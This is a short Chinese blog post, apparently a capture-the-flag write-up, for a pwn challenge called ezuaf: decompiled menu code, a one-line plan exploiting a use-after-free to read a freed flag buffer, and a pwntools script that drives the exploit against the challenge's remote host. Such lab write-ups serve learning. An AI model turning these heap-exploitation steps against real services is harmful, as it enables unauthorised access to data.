pwn-ezuaf(uaf)

题目:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+0h] [rbp-10h] BYREF
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Polar_init(argc, argv, envp);
  while ( 1 )
  {
    mulu();
    __isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 2:
        puts("[+] Input Size : ");
        __isoc99_scanf("%d", &v4);
        heap = my_malloc(v4);
        break;
      case 3:
        my_print_heap();
        break;
      case 1:
        puts("[+] Input FileName : ");
        __isoc99_scanf("%s", &fileInfo);
        dword_6020E8 = read_file(&fileInfo);
        puts("[+] Success!");
        break;
    }
  }
}

思路:
利用case 1的uaf漏洞->输入flag文件名->自动释放->申请回来(gdb查看大小)->show->flag

from pwn import *
from LibcSearcher import *


def conn():
    global r, Libc, elf
    #r = process("./ezuaf")
    # Libc = ELF("./libc-2.23.so")
    r = remote("1.95.36.136", 2050)
    # elf = ELF("./pwn1")

def pwn():
    r.sendlineafter(b"Print\n",b"1")
    r.sendlineafter(b"FileName : \n",b"flag")

    r.sendlineafter(b"Print\n",b"2")
    r.sendlineafter(b"Size : \n",b"31")
    r.sendlineafter(b"Print\n",b"2")
    r.sendlineafter(b"Size : \n",b"561")
    r.sendlineafter(b"Print\n",b"3")
    #gdb.attach(r)
    #pause()
    r.interactive()
conn()
pwn()

posted @ 2025-05-04 18:45  lethe311  阅读(3)  评论(0)    收藏  举报